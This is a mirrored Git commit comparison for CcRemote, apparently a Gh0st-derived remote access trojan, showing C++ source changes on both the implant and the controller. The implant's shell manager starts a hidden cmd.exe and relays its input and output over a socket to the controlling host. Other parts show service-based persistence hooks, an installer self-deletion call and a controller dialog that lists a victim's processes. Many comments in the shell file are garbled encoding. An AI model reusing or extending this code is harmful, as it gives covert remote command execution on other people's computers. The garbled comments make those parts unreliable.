mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-08-05 00:41:44 +00:00
Compare commits
2 Commits
20200526.1
...
20200528.2
Author | SHA1 | Date | |
---|---|---|---|
![]() |
2349891948 | ||
![]() |
4bd0451420 |
Binary file not shown.
@@ -10,7 +10,7 @@
|
|||||||
|
|
||||||
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
||||||
{
|
{
|
||||||
SECURITY_ATTRIBUTES sa = {0};
|
SECURITY_ATTRIBUTES sa = {0}; //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
STARTUPINFO si = {0};
|
STARTUPINFO si = {0};
|
||||||
PROCESS_INFORMATION pi = {0};
|
PROCESS_INFORMATION pi = {0};
|
||||||
char strShellPath[MAX_PATH] = {0};
|
char strShellPath[MAX_PATH] = {0};
|
||||||
@@ -23,14 +23,14 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
|||||||
sa.lpSecurityDescriptor = NULL;
|
sa.lpSecurityDescriptor = NULL;
|
||||||
sa.bInheritHandle = TRUE;
|
sa.bInheritHandle = TRUE;
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0))
|
||||||
{
|
{
|
||||||
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
if(m_hReadPipeHandle != NULL) CloseHandle(m_hReadPipeHandle);
|
||||||
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
if(m_hWritePipeShell != NULL) CloseHandle(m_hWritePipeShell);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ڻ<EFBFBD>ȡcmd<6D><64><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0))
|
||||||
{
|
{
|
||||||
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
|
if(m_hWritePipeHandle != NULL) CloseHandle(m_hWritePipeHandle);
|
||||||
@@ -45,12 +45,13 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
|||||||
si.cb = sizeof(STARTUPINFO);
|
si.cb = sizeof(STARTUPINFO);
|
||||||
si.wShowWindow = SW_HIDE;
|
si.wShowWindow = SW_HIDE;
|
||||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||||
si.hStdInput = m_hReadPipeShell;
|
si.hStdInput = m_hReadPipeShell;//<2F><><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD>ֵ
|
||||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||||
|
|
||||||
GetSystemDirectory(strShellPath, MAX_PATH);
|
GetSystemDirectory(strShellPath, MAX_PATH);
|
||||||
strcat(strShellPath,"\\cmd.exe");
|
strcat(strShellPath,"\\cmd.exe");
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>CMD<4D><44><EFBFBD>̣<EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ܵ<EFBFBD>
|
||||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi))
|
||||||
{
|
{
|
||||||
@@ -63,10 +64,15 @@ CShellManager::CShellManager(CClientSocket *pClient):CManager(pClient)
|
|||||||
m_hProcessHandle = pi.hProcess;
|
m_hProcessHandle = pi.hProcess;
|
||||||
m_hThreadHandle = pi.hThread;
|
m_hThreadHandle = pi.hThread;
|
||||||
|
|
||||||
|
//<2F><>־<EFBFBD><D6BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> shell<6C><6C><EFBFBD><EFBFBD>
|
||||||
BYTE bToken = TOKEN_SHELL_START;
|
BYTE bToken = TOKEN_SHELL_START;
|
||||||
|
//֪ͨ<D6AA><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
Send((LPBYTE)&bToken, 1);
|
Send((LPBYTE)&bToken, 1);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
|
||||||
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
m_hThreadRead = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ȴ<EFBFBD><C8B4>߳<EFBFBD> <20>ȴ<EFBFBD><C8B4>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD>رգ<D8B1><D5A3>ն˽<D5B6><CBBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
|
m_hThreadMonitor = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorThread, (LPVOID)this, 0, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -102,14 +108,18 @@ void CShellManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
|||||||
{
|
{
|
||||||
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
||||||
{
|
{
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>źŴ<C5B4>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WaitForDialogOpen();ִ<>к<EFBFBD><D0BA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
NotifyDialogIsOpen();
|
NotifyDialogIsOpen();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
unsigned long ByteWrite;
|
unsigned long ByteWrite;
|
||||||
|
//д<><D0B4><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
WriteFile(m_hWritePipeHandle, lpBuffer, nSize, &ByteWrite, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//<2F><>ȡCMD<4D><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̺߳<DFB3><CCBA><EFBFBD>
|
||||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
||||||
{
|
{
|
||||||
unsigned long BytesRead = 0;
|
unsigned long BytesRead = 0;
|
||||||
@@ -119,14 +129,18 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
|||||||
while (1)
|
while (1)
|
||||||
{
|
{
|
||||||
Sleep(100);
|
Sleep(100);
|
||||||
|
|
||||||
|
//<2F>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||||
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
|
while (PeekNamedPipe(pThis->m_hReadPipeHandle, ReadBuff, sizeof(ReadBuff), &BytesRead, &TotalBytesAvail, NULL))
|
||||||
{
|
{
|
||||||
|
//û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD>
|
||||||
if (BytesRead <= 0)
|
if (BytesRead <= 0)
|
||||||
break;
|
break;
|
||||||
memset(ReadBuff, 0, sizeof(ReadBuff));
|
memset(ReadBuff, 0, sizeof(ReadBuff));
|
||||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalBytesAvail);
|
||||||
|
//<2F><>ȡ<EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
ReadFile(pThis->m_hReadPipeHandle, lpBuffer, TotalBytesAvail, &BytesRead, NULL);
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ---->OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
pThis->Send(lpBuffer, BytesRead);
|
pThis->Send(lpBuffer, BytesRead);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
}
|
}
|
||||||
@@ -134,6 +148,8 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lparam)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//<2F>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̹߳ر<CCB9><D8B1><EFBFBD><EFBFBD><EFBFBD>
|
||||||
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
|
DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
|
||||||
{
|
{
|
||||||
CShellManager *pThis = (CShellManager *)lparam;
|
CShellManager *pThis = (CShellManager *)lparam;
|
||||||
@@ -141,6 +157,8 @@ DWORD WINAPI CShellManager::MonitorThread(LPVOID lparam)
|
|||||||
hThread[0] = pThis->m_hProcessHandle;
|
hThread[0] = pThis->m_hProcessHandle;
|
||||||
hThread[1] = pThis->m_hThreadRead;
|
hThread[1] = pThis->m_hThreadRead;
|
||||||
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
|
WaitForMultipleObjects(2, hThread, FALSE, INFINITE);
|
||||||
|
|
||||||
|
//<2F>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CMDѭ<44><D1AD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD>ݵ<EFBFBD><DDB5>߳<EFBFBD>
|
||||||
TerminateThread(pThis->m_hThreadRead, 0);
|
TerminateThread(pThis->m_hThreadRead, 0);
|
||||||
TerminateProcess(pThis->m_hProcessHandle, 1);
|
TerminateProcess(pThis->m_hProcessHandle, 1);
|
||||||
pThis->m_pClient->Disconnect();
|
pThis->m_pClient->Disconnect();
|
||||||
|
@@ -12,9 +12,9 @@ DWORD g_dwServiceType;
|
|||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
NOT_CONNECT, // 还没有连接
|
NOT_CONNECT, // 还没有连接
|
||||||
GETLOGINFO_ERROR,
|
GETLOGINFO_ERROR,//获取信息失败
|
||||||
CONNECT_ERROR,
|
CONNECT_ERROR,//链接失败
|
||||||
HEARTBEATTIMEOUT_ERROR
|
HEARTBEATTIMEOUT_ERROR //心跳超时链接失败
|
||||||
};
|
};
|
||||||
|
|
||||||
DWORD WINAPI main(char *lpServiceName);
|
DWORD WINAPI main(char *lpServiceName);
|
||||||
@@ -53,9 +53,9 @@ DWORD WINAPI main(char *lpServiceName)
|
|||||||
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
|
wsprintf(strKillEvent, "Global\\Gh0st %d", GetTickCount()); // 随机事件名
|
||||||
|
|
||||||
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
hInstallMutex = CreateMutex(NULL, true, g_strHost);
|
||||||
//ReConfigService(strServiceName); //--lang--
|
//ReConfigService(strServiceName);
|
||||||
// 删除安装文件
|
// 删除安装文件
|
||||||
// DeleteInstallFile(lpServiceName); //--lang--
|
// DeleteInstallFile(lpServiceName);
|
||||||
}
|
}
|
||||||
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
// 告诉操作系统:如果没有找到CD/floppy disc,不要弹窗口吓人
|
||||||
SetErrorMode(SEM_FAILCRITICALERRORS);
|
SetErrorMode(SEM_FAILCRITICALERRORS);
|
||||||
@@ -115,6 +115,8 @@ DWORD WINAPI main(char *lpServiceName)
|
|||||||
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
|
||||||
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
|
||||||
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
|
||||||
|
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
|
||||||
|
//(每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager)
|
||||||
socketClient.setManagerCallBack(&manager);
|
socketClient.setManagerCallBack(&manager);
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
@@ -123,14 +125,14 @@ DWORD WINAPI main(char *lpServiceName)
|
|||||||
{
|
{
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
}
|
}
|
||||||
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接
|
// 10秒后还没有收到控制端发来的激活命令,说明对方不是控制端,重新连接,获取是否有效标志
|
||||||
if (!manager.IsActived())
|
if (!manager.IsActived())
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
DWORD dwIOCPEvent;
|
DWORD dwIOCPEvent;
|
||||||
dwTickCount = GetTickCount();
|
dwTickCount = GetTickCount();//获取时间戳
|
||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
|
Binary file not shown.
186
CcRemote/CcRemote/CSystemDlg.cpp
Normal file
186
CcRemote/CcRemote/CSystemDlg.cpp
Normal file
@@ -0,0 +1,186 @@
|
|||||||
|
// CSystemDlg.cpp: 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
#include "CcRemote.h"
|
||||||
|
#include "CSystemDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include "..\..\common\macros.h"
|
||||||
|
|
||||||
|
|
||||||
|
// CSystemDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||||
|
|
||||||
|
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||||
|
: CDialog(IDD_SYSTEM, pParent)
|
||||||
|
{
|
||||||
|
m_iocpServer = pIOCPServer; //就是一个赋值没什么特别的我们到oninitdialog
|
||||||
|
m_pContext = pContext;
|
||||||
|
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
|
||||||
|
}
|
||||||
|
|
||||||
|
CSystemDlg::~CSystemDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_TAB, m_tab);
|
||||||
|
DDX_Control(pDX, IDC_LIST_WINDOWS, m_list_windows);
|
||||||
|
DDX_Control(pDX, IDC_LIST_PROCESS, m_list_process);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_WM_CLOSE()
|
||||||
|
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CSystemDlg 消息处理程序
|
||||||
|
|
||||||
|
void CSystemDlg::AdjustList(void)
|
||||||
|
{
|
||||||
|
RECT rectClient;
|
||||||
|
RECT rectList;
|
||||||
|
GetClientRect(&rectClient);
|
||||||
|
rectList.left = 0;
|
||||||
|
rectList.top = 29;
|
||||||
|
rectList.right = rectClient.right;
|
||||||
|
rectList.bottom = rectClient.bottom;
|
||||||
|
|
||||||
|
m_list_process.MoveWindow(&rectList);
|
||||||
|
m_list_windows.MoveWindow(&rectList);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CDialog::OnSize(nType, cx, cy);
|
||||||
|
AdjustList();
|
||||||
|
// TODO: 在此处添加消息处理程序代码
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::OnClose()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||||
|
|
||||||
|
CDialog::OnClose();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
// TODO: 在此添加控件通知处理程序代码
|
||||||
|
ShowSelectWindow();
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::ShowSelectWindow(void)
|
||||||
|
{
|
||||||
|
switch (m_tab.GetCurSel())
|
||||||
|
{
|
||||||
|
case 0:
|
||||||
|
m_list_windows.ShowWindow(SW_HIDE);
|
||||||
|
m_list_process.ShowWindow(SW_SHOW);
|
||||||
|
if (m_list_process.GetItemCount() == 0)
|
||||||
|
GetProcessList();
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
m_list_windows.ShowWindow(SW_SHOW);
|
||||||
|
m_list_process.ShowWindow(SW_HIDE);
|
||||||
|
if (m_list_windows.GetItemCount() == 0)
|
||||||
|
//GetWindowsList();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::GetProcessList(void)
|
||||||
|
{
|
||||||
|
BYTE bToken = COMMAND_PSLIST;
|
||||||
|
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CSystemDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: 在此添加额外的初始化
|
||||||
|
|
||||||
|
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||||
|
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||||
|
|
||||||
|
|
||||||
|
CString str;
|
||||||
|
sockaddr_in sockAddr;
|
||||||
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||||
|
int nSockAddrLen = sizeof(sockAddr);
|
||||||
|
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip
|
||||||
|
str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||||||
|
SetWindowText(str);//设置对话框标题
|
||||||
|
|
||||||
|
|
||||||
|
m_tab.InsertItem(0, "进程管理"); //为tab设置标题
|
||||||
|
m_tab.InsertItem(1, "窗口管理");
|
||||||
|
m_tab.InsertItem(2, "拨号密码");
|
||||||
|
|
||||||
|
m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
|
||||||
|
m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
|
||||||
|
m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
|
||||||
|
m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
|
||||||
|
|
||||||
|
m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
|
||||||
|
m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
|
||||||
|
m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
|
||||||
|
|
||||||
|
|
||||||
|
AdjustList(); //各个列表的大小
|
||||||
|
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
|
||||||
|
ShowSelectWindow(); //显示列表
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CSystemDlg::ShowProcessList(void)
|
||||||
|
{
|
||||||
|
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||||
|
char *strExeFile;
|
||||||
|
char *strProcessName;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
CString str;
|
||||||
|
m_list_process.DeleteAllItems();
|
||||||
|
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
|
||||||
|
int i;
|
||||||
|
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||||
|
{
|
||||||
|
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); //这里得到进程ID
|
||||||
|
strExeFile = lpBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的
|
||||||
|
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
|
||||||
|
//数据结构构建巧妙
|
||||||
|
|
||||||
|
m_list_process.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
|
||||||
|
str.Format("%5u", *lpPID);
|
||||||
|
m_list_process.SetItemText(i, 1, str);
|
||||||
|
m_list_process.SetItemText(i, 2, strProcessName);
|
||||||
|
// ItemData 为进程ID
|
||||||
|
m_list_process.SetItemData(i, *lpPID);
|
||||||
|
|
||||||
|
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
|
||||||
|
}
|
||||||
|
|
||||||
|
str.Format("程序路径 / %d", i);
|
||||||
|
LVCOLUMN lvc;
|
||||||
|
lvc.mask = LVCF_TEXT;
|
||||||
|
lvc.pszText = str.GetBuffer(0);
|
||||||
|
lvc.cchTextMax = str.GetLength();
|
||||||
|
m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程
|
||||||
|
}
|
43
CcRemote/CcRemote/CSystemDlg.h
Normal file
43
CcRemote/CcRemote/CSystemDlg.h
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "include/IOCPServer.h"
|
||||||
|
|
||||||
|
// CSystemDlg 对话框
|
||||||
|
|
||||||
|
class CSystemDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CSystemDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CSystemDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||||
|
virtual ~CSystemDlg();
|
||||||
|
|
||||||
|
// 对话框数据
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_SYSTEM };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
CTabCtrl m_tab;
|
||||||
|
CListCtrl m_list_windows;
|
||||||
|
CListCtrl m_list_process;
|
||||||
|
private:
|
||||||
|
HICON m_hIcon;
|
||||||
|
ClientContext* m_pContext;
|
||||||
|
CIOCPServer* m_iocpServer;
|
||||||
|
|
||||||
|
private:
|
||||||
|
void AdjustList(void);
|
||||||
|
void ShowSelectWindow(void);
|
||||||
|
void GetProcessList(void);
|
||||||
|
|
||||||
|
public:
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnClose();
|
||||||
|
afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
void ShowProcessList(void);
|
||||||
|
};
|
Binary file not shown.
@@ -206,6 +206,7 @@
|
|||||||
<ClInclude Include="CcRemoteDlg.h" />
|
<ClInclude Include="CcRemoteDlg.h" />
|
||||||
<ClInclude Include="CSettingDlg.h" />
|
<ClInclude Include="CSettingDlg.h" />
|
||||||
<ClInclude Include="CShellDlg.h" />
|
<ClInclude Include="CShellDlg.h" />
|
||||||
|
<ClInclude Include="CSystemDlg.h" />
|
||||||
<ClInclude Include="framework.h" />
|
<ClInclude Include="framework.h" />
|
||||||
<ClInclude Include="include\Buffer.h" />
|
<ClInclude Include="include\Buffer.h" />
|
||||||
<ClInclude Include="include\CpuUsage.h" />
|
<ClInclude Include="include\CpuUsage.h" />
|
||||||
@@ -224,6 +225,7 @@
|
|||||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||||
<ClCompile Include="CSettingDlg.cpp" />
|
<ClCompile Include="CSettingDlg.cpp" />
|
||||||
<ClCompile Include="CShellDlg.cpp" />
|
<ClCompile Include="CShellDlg.cpp" />
|
||||||
|
<ClCompile Include="CSystemDlg.cpp" />
|
||||||
<ClCompile Include="include\Buffer.cpp">
|
<ClCompile Include="include\Buffer.cpp">
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
||||||
@@ -257,6 +259,7 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="res\CcRemote.ico" />
|
<Image Include="res\CcRemote.ico" />
|
||||||
<Image Include="res\cmdshell.ico" />
|
<Image Include="res\cmdshell.ico" />
|
||||||
|
<Image Include="res\system.ico" />
|
||||||
<Image Include="res\toolbar1.bmp" />
|
<Image Include="res\toolbar1.bmp" />
|
||||||
<Image Include="res\ToolBar_Main.bmp" />
|
<Image Include="res\ToolBar_Main.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
@@ -72,6 +72,9 @@
|
|||||||
<ClInclude Include="CShellDlg.h">
|
<ClInclude Include="CShellDlg.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="CSystemDlg.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="CcRemote.cpp">
|
<ClCompile Include="CcRemote.cpp">
|
||||||
@@ -107,6 +110,9 @@
|
|||||||
<ClCompile Include="CShellDlg.cpp">
|
<ClCompile Include="CShellDlg.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="CSystemDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="CcRemote.rc">
|
<ResourceCompile Include="CcRemote.rc">
|
||||||
@@ -131,5 +137,8 @@
|
|||||||
<Image Include="res\cmdshell.ico">
|
<Image Include="res\cmdshell.ico">
|
||||||
<Filter>资源文件</Filter>
|
